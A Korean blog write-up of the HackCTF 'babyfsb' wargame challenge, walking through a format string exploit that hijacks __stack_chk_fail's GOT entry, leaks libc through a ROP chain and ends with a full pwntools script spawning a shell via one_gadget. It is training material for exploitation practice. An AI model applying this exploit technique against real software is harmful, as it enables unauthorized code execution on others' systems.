블로그 이전했습니다. https://jeongzero.oopy.io/
[HackCTF] babyfsb
본문 바로가기
워게임/HackCTF

[HackCTF] babyfsb

728x90

[HackCTF] babyfsb

Date
Tags report

 

1. 문제


1) mitigation 확인

PIE는 걸려있지 않지만 이번에는 카나리가 걸려있다.

 

 

2) 문제 확인

hello 라는 문자열이 출력되고 입력할수 있는 공간이 나온다. 그 뒤 입력한 문자열이 출력되고 바로 종료가 된다.

 

 

3) 코드흐름 파악

read로 0x40 만큼 입력을 받는다. ret 을 덮을 수 없는 사이즈이다.

10라인에서 printf 를 이용해 fsb가 가능할 것으로 보인다.

 

 

2. 접근방법


일반적으로 fsb를 이용하면 " % $ n 등등.." 이러한 서식문자를 이용하여 특정함수의 got를 덮고, 원하는 got_overwrite를 이용하여 원하는 동작을 일으키는 식으로 문제를 풀었었다.

 

64bit 환경이기 때문에 %p 5개를 입력하고 그다음 서식문자부터 rsp의 값들을 leak할수 있다. 한번 상황을 봐보자.

 

  • printf (" %p %p %p %p %p %p %p %p")

0x7fffffffdcc0 이 현재 ret주소를 담고있는 주소이다. 여기 ret주소를 가리키고 있는 부분이 없기 때문에 곧바로 ret 값을 변경할 수 없다. 또한 만약 어찌해서 특정 함수의 got를 덮었다고 해도 printf 함수다음 return 0 이 나오기 때문에 해당 함수를 실행시킬수 없다.

 

하지만 !! 문제를 잘 보면 현재 카나리가 걸려있다. 따라서 카나리를 체크하는 함수가 어셈블리로 보면 확인가능하다.

	 0x0000000000400711 <+107>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x0000000000400715 <+111>:	xor    rcx,QWORD PTR fs:0x28
   0x000000000040071e <+120>:	je     0x400725 <main+127>
   0x0000000000400720 <+122>:	call   0x400550 <__stack_chk_fail@plt>
   0x0000000000400725 <+127>:	leave  
   0x0000000000400726 <+128>:	ret

 

카나리 값은 rbp-0x8에 위치해 있는데, 이는 read함수로 덮을수 있다. 해당 값이 변조되면 stack_chk_fail 함수가 호출된다. 따라서 해당 함수의 got를 덮으면 된다 !

 

 

  • libc 주소 leak 시나리오
    1. stack_chk_fail 함수의 got를 " pop rdi; ret " 가젯 주소로 덮는다.
    1. 일부로 카나리를 변조하여 해당 함수가 실행되게끔 한다.
    1. stack_chk_fail 함수가 실행되면 현재 got에 pop rdi; ret 주소로 덮혀져 있기 때문에 가젯 주소로 간다
    1. puts의 주소를 leak해야하기위해 rdi에 puts_got를 넣고 puts_plt를 넣는다.
    1. payload = %(pop rdi;ret 주소 10진수값)c %8 $ln +"AA" // align을 위해 AA두개를 넣음

      payload +=

      stack_chk_fail_got

      주소

      payload += puts_got 주소

      payload += puts_plt 주소

      payload += "B"*( 0x40 * len(payload) ) // 카나리 변조에러를 일으키기 위해

       

     

    위 상황은 현재 위 시나리오의 페이로드를 보내고나서, stack_chk_fail 함수가 호출된 상태이다.

     

    원하는대로 해당 함수의 got가 덮혀져 가젯 주소로 ret되었다. 근데, 여기서 stack을 보면 약간 이상하다. 원래대로라면 rdi에 put_got가 들어가야하는데, 현재 스택 최상단에 0x400725가 들어가있어 이 값이 rdi에 들어간다.

     

    원하는 값인 0x601018은 스택에서 5번째에 위치해 있는 것을 볼수 있다. 따라서 위 시나리오의 페이로드를 전송하면 에러가 난다. 우리는 pop rdi ; ret 가젯을 이용하기 전에 스택을 먼저 맞추기 위해 pop pop pop pop ret; 가젯을 먼저 호출해야한다.

     

    그래야 4번의 pop이 일어나고 우리가 넣은 값을 이용할 수 있다. 정리하면 ppppr 가젯으로 got를 덮고 그다음 pop rdi; ret를 넣은뒤 그 뒤에 put_got, put_plt를 넣어주면 된다.

     

    페이로드 수정 !
    • payload = %(pop pop pop pop ; ret; 주소 10진수값)c %8 $ln +"AA"

      payload +=

      stack_chk_fail_got

      주소

      payload += pop rdi; ret 주소

      payload += puts_got 주소

      payload += puts_plt 주소

      payload += "B"*( 0x40 * len(payload) ) // 카나리 변조에러를 일으키기 위해

      payload += main 주소

     

    수정된 페이로드로 디버깅을 했을때 stack_chk_fail 함수가 실행되어 ppppr 주소로 돌아갔고, ret가 실행되면 pop rdi; ret 주소로 가는 것을 확인할 수 있다. 그 이후 0x601018을 rdi에 제대로 저장할 것이다.

     

    이렇게 하면 puts의 주소를 leak할 수 있고, 이를 이용하여 libc_base 주소를 구할 수 있다.

     

    그다음은 다시 main으로 돌아가서 stack_chk_fail got를 one gadget주소로 덮으면 끝이다

     

     

3. 풀이


최종 익스코드는 다음과 같다

from pwn import *
context.log_level="DEBUG"
#p=remote("ctf.j0n9hyun.xyz", 3032)
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
p=process("./babyfsb",env=env)
e=ELF("./babyfsb")
libc=ELF("./libc.so.6")

one_shot_off=0x45216

gdb.attach(p)
p.recvuntil("hello\n")
pause()
payload = "%4196236c%8$ln"+"AA"+p64(0x601020)+p64(0x400793)+p64(e.got['puts'])+p64(e.plt['puts'])
payload += p64(0x4006A6) # main
payload += "C"*(0x40-len(payload))
p.send(payload)

put_addr=u64(p.recvuntil("hello\n")[-13:-7]+"\x00\x00")
libc_base=put_addr-libc.symbols['puts']
log.info(hex(libc_base))
log.info(hex(libc_base+one_shot_off))
pause()
payload2 = "%4196236c%8$ln"+"AA" + p64(0x601020)+p64(libc_base+one_shot_off)
payload2 += "C"*(0x40-len(payload2))
p.send(payload2) 
p.interactive()

 

 

 

 

4. 몰랐던 개념


 

원샷 가젯을 실행시키면 위와 같이 4개의 one gadget offset 주소를 확인 할 수 있는데, 해당 문제에서는 맨 위의 오프셋만 정상적으로 동작하고 나머지 3개는 에러를 뿜는다.

 

나머지 3개가 에러를 뿜는 이유를 첨에는 몰랐는데 2번째 인자에 execve를 이용하여 쉘을 얻으려면 2,3번째 인자가 널이여야한다. 따라서 rsp+0x30, rsp+0x50, rsp+0x70 이 3개는 해당 one gadget이 호출되었을때 널이 아니여서 execve가 제대로 동작하지 않은 것이다.

 

첫번째 offset이 실행되기 위해서는 rax=NULL 이여야하는데 내부적으로 해당 조건이 만족되는것 같다

728x90

'워게임 > HackCTF' 카테고리의 다른 글

[HackCTF] childheap  (8) 2020.04.11
[HackCTF] babyheap  (2) 2020.04.11
[HackCTF ] Gift  (0) 2020.04.11
[HackCTF] You are Silver  (0) 2020.04.11
[HackCTF] World Best Encryption Tool  (0) 2020.04.11